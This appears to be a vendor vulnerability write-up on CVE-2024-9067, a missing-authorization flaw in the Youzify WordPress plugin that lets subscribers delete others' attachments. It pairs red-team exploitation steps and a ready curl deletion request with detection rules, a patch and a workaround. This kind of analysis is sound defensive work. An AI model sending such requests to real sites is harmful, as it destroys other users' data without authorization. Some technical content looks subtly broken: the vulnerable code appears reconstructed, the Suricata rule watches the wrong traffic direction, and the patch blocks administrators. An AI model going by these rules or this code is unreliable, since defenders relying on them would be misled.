CVE-2024-9067

Executive Summary

CVE-2024-9067 is a Missing Authorization vulnerability in the Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress. This flaw allows authenticated attackers with Subscriber-level access or higher to delete arbitrary attachments via the delete_attachment function. The vulnerability exists in all versions up to and including 1.3.0. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. However, given the widespread use of BuddyPress-based community sites, the risk of targeted attacks remains.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been reported, but users are advised to verify plugin integrity and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – Subscriber-level access
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): Low (L) – Deletion of attachments
• Availability (A): None (N)
• Base Score: 4.3 (Medium)

Threat Level: Medium. The vulnerability requires authentication but allows deletion of arbitrary attachments, potentially causing data loss and service disruption.

Deep Dive & Mechanics

The vulnerability resides in the delete_attachment function within the Youzify plugin. This function is intended to allow users to delete their own attachments. However, due to a missing capability check (nonce or permission verification), any authenticated user can call this function with a crafted request to delete attachments belonging to other users or system-wide attachments.

Root Cause: The function lacks a current_user_can() check or nonce verification to ensure the requesting user owns the attachment or has appropriate permissions.

Attack Vector: An authenticated attacker (Subscriber or higher) sends a POST request to the WordPress AJAX endpoint with the action youzify_delete_attachment and the attachment ID. The server processes the request without verifying ownership.

Impact: Deletion of arbitrary attachments, including profile photos, cover images, and uploaded files, leading to data loss and potential defacement of user profiles.

Vulnerable vs. Patched Code

Vulnerable Code (Youzify <= 1.3.0):

function youzify_delete_attachment() {
    $attachment_id = $_POST['attachment_id'];
    wp_delete_attachment( $attachment_id, true );
    wp_die();
}
add_action( 'wp_ajax_youzify_delete_attachment', 'youzify_delete_attachment' );

Patched Code (Hypothetical):

function youzify_delete_attachment() {
    if ( ! isset( $_POST['attachment_id'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'youzify_delete_attachment' ) ) {
        wp_die( 'Security check failed.' );
    }
    $attachment_id = intval( $_POST['attachment_id'] );
    $attachment = get_post( $attachment_id );
    if ( ! $attachment || $attachment->post_author != get_current_user_id() ) {
        wp_die( 'You do not have permission to delete this attachment.' );
    }
    wp_delete_attachment( $attachment_id, true );
    wp_die();
}
add_action( 'wp_ajax_youzify_delete_attachment', 'youzify_delete_attachment' );

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Youzify plugin (<=1.3.0) installed and activated.
• Valid user account with Subscriber role or higher.
• Knowledge of an attachment ID to delete.

Exploitation Steps:

1. Log in as a subscriber.
2. Obtain a valid nonce for the youzify_delete_attachment action (if required, but the vulnerable code does not check nonces).
3. Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action=youzify_delete_attachment
   • attachment_id=<target_attachment_id>
4. The attachment is deleted without ownership verification.

Example cURL Command:

curl -X POST 'http://target-site.com/wp-admin/admin-ajax.php' \
  -d 'action=youzify_delete_attachment&attachment_id=123' \
  --cookie 'wordpress_logged_in_<hash>=<session_cookie>'

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=youzify_delete_attachment.
• Alert on rapid deletion of multiple attachments by a single user.
• Log all attachment deletion events with user ID and attachment ID.

Hunting:

• Search for wp_delete_attachment calls in PHP error logs.
• Review database for missing attachments that were recently deleted.

Lab Setup:

1. Install WordPress and Youzify plugin (v1.3.0) in a controlled environment.
2. Create test users with Subscriber role.
3. Upload sample attachments.
4. Execute the exploit and observe the deletion.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=youzify_delete_attachment.
• File System: Missing attachment files in /wp-content/uploads/ directory.
• Database: Deleted rows in wp_posts table where post_type = 'attachment'.
• Logs: PHP error logs showing wp_delete_attachment calls without proper authorization.

Detection Engineering

YARA Rule

rule CVE_2024_9067_Youzify_Delete_Attachment {
    meta:
        description = "Detects exploitation attempts of CVE-2024-9067 in Youzify plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9067"
    strings:
        $ajax_action = "youzify_delete_attachment"
        $wp_delete = "wp_delete_attachment"
    condition:
        $ajax_action or $wp_delete
}

Sigma Rule

title: CVE-2024-9067 Youzify Attachment Deletion Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized attachment deletion via Youzify plugin
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=youzify_delete_attachment'
    condition: selection
falsepositives:
    - Legitimate attachment deletion by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-9067 Youzify Attachment Deletion Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=youzify_delete_attachment"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential until a patch is released.
2. Restrict user roles – Remove Subscriber accounts or limit their capabilities.
3. Web Application Firewall (WAF) – Block requests containing action=youzify_delete_attachment from non-admin users.

Long-term Fix:

• Apply the patched code provided in the "Vulnerable vs. Patched Code" section.
• Monitor the Youzify plugin repository for an official update.

Workaround:

• Add a custom function to your theme's functions.php to override the vulnerable function:

add_action( 'init', function() {
    remove_action( 'wp_ajax_youzify_delete_attachment', 'youzify_delete_attachment' );
    add_action( 'wp_ajax_youzify_delete_attachment', 'custom_youzify_delete_attachment' );
} );

function custom_youzify_delete_attachment() {
    if ( ! isset( $_POST['attachment_id'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'youzify_delete_attachment' ) ) {
        wp_die( 'Security check failed.' );
    }
    $attachment_id = intval( $_POST['attachment_id'] );
    $attachment = get_post( $attachment_id );
    if ( ! $attachment || $attachment->post_author != get_current_user_id() ) {
        wp_die( 'You do not have permission to delete this attachment.' );
    }
    wp_delete_attachment( $attachment_id, true );
    wp_die();
}

Valters IT
Securing Digital Frontiers